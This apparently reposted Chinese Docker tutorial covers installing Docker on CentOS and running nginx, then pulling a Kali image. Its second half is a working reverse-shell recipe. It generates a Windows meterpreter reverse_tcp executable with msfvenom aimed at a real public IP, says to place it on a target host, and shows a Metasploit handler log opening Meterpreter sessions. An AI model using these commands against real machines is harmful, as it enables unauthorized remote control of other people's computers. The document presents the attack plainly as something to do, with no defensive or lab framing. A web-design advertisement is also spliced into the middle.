docker使用教程
1. 购买一个外网的服务器,这里我使用的是centos
2. 配置yum源
wget https://mirrors.ustc.edu.cn/docker-ce/linux/centos/docker-ce.repo -O /etc/yum.repos.d/docker-ce.repo
yum clean all; yum makecache fast --重新刷新yum源
3. 安装与启动docker
yum -y install docker-ce
systemctl restart docker
systemctl enable docker 开机自启
4. 搜索与安装容器
4.1 以 nginx 为例
docker search nginx 搜索
docker pull nginx 安装nginx
4.2 启动 nginx
docker run --name web1 -d -p 80:80 nginx
--name :表示启动的名字
-d: daemon,守护进程
-p:设置映射端口
验证页面,输入网址即可访问
创新互联建站专注于企业成都全网营销、网站重做改版、明山网站定制设计、自适应品牌网站建设、H5场景定制、商城建设、集团公司官网建设、外贸营销网站建设、高端网站制作、响应式网页设计等建站业务,价格优惠性价比高,为明山等各大城市提供网站开发制作服务。
对页面进行修改:
docker exec -it web1 /bin/bash 进入容器
root@3e93e119b79c:/# cat /usr/share/nginx/html/
50x.html index.html
root@3e93e119b79c:/# echo "test nginx page" > /usr/share/nginx/html/index.html
使用exit退出,这时刷新之前的网页,nginx的欢迎页面就变成上面修改的内容了。
5. 安装外网kali
先搜索
docker search kali
安装
docker pull booyaabes/kali-linux-full
使用
[root@vultr ~]# docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
booyaabes/kali-linux-full latest 4bffca040c1c 6 hours ago 8.31GB
nginx latest bc26f1ed35cf 16 hours ago 109MB
[root@vultr ~]# docker run -it 4bffca040c1c
root@c5785446988a:/# cat /etc/os-release
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2018.4"
VERSION_ID="2018.4"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
直接使用即可。
如果需要监听端口,实现连接反弹shell
docker run -p 4444:4455 -it booyaabes/kali-linux-full
使用docker映射容器4455端口到local上的4444端口
[root@vultr ~]# docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
8612e672d5db booyaabes/kali-linux-full "/bin/sh -c \"/bin/ba…" 2 minutes ago Up 2 minutes 0.0.0.0:4444->4455/tcp hungry_goldberg
[root@vultr ~]# docker attach 8612e672d5db 进入kali容器之中
制作payload(使用本地的kali制作payload)
root@kal:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=149.248.8.210 LPORT=4444 -f exe > test.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
将exe文件放到目标主机上
在kali容器中运行msf
[root@vultr ~]# docker attach 9b2fcb0c1d21
root@9b2fcb0c1d21:/# msfconsole
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
=[ metasploit v4.17.14-dev ]
+ -- --=[ 1809 exploits - 1030 auxiliary - 313 post ]
+ -- --=[ 539 payloads - 42 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 149.248.8.210
lhost => 149.248.8.210
msf exploit(multi/handler) > set lport 4455
port => 4455
msf exploit(multi/handler) > run
[-] Handler failed to bind to 149.248.8.210:4455:- -
[*] Started reverse TCP handler on 0.0.0.0:4455
[*] Sending stage (179779 bytes) to 42.90.91.248
[*] Meterpreter session 1 opened (172.17.0.3:4455 -> 42.90.91.248:11526) at 2018-09-26 09:39:23 +0000
[*] Sending stage (179779 bytes) to 42.90.91.248
[*] Meterpreter session 2 opened (172.17.0.3:4455 -> 42.90.91.248:11528) at 2018-09-26 09:39:25 +0000
meterpreter >
这样就拿到了反弹shell
docker借鉴学习:https://yeasy.gitbooks.io/docker_practice/image/
当前文章:docker使用教程
标题路径:http://scyanting.com/article/ihjgho.html